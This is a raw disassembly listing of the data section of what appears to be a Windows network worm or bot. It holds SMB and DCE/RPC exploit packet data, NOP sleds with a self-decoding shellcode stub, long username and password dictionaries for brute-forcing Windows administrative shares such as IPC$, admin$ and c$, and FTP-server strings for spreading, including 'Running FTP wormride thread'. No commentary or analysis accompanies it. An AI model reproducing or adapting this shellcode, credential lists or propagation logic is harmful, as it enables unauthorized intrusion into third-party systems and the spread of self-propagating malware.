1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: .data:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: .data:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: .data:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: .data:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: .data:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: .data:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: .data:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: .data:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: .data:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: .data:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: .data:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: .data:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE30 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .data:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .data:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: .data:0041D790o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: .data:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: .data:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o ; .data:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o ; .data:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o ; .data:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: .data:00416ACAo ; .data:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: .data:0041BC24o ; .data:0041BE78o aSam db 'sam',0 ; DATA XREF: .data:0041BC20o ; .data:0041BE74o aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co ; .data:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o ; .data:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: .data:0041BC14o ; .data:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .data:0041BC10o ; .data:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co ; .data:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .data:0041BC08o ; .data:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o ; .data:0041BE58o aJen db 'jen',0 ; DATA XREF: .data:0041BC00o ; .data:0041BE54o aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo ; .data:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o ; .data:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o ; .data:0041BE1Co aUser db 'user',0 ; DATA XREF: .data:0041BBF0o ; .data:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo ; .data:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .data:0041BBE8o ; .data:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o ; .data:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: .data:0041BBE0o ; .data:0041BDF4o aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo ; .data:0041BDF0o aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o ; .data:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o ; .data:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo ; .data:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: .data:0041BBC8o ; .data:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o ; .data:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo ; .data:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o ; .data:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 135A78h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 157728h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 146AF8h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 1227B0h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 0F6578h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 0FED08h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 128230h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 1F738h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 1232B8h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 124AF8h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 0FECD8h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 163AE8h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 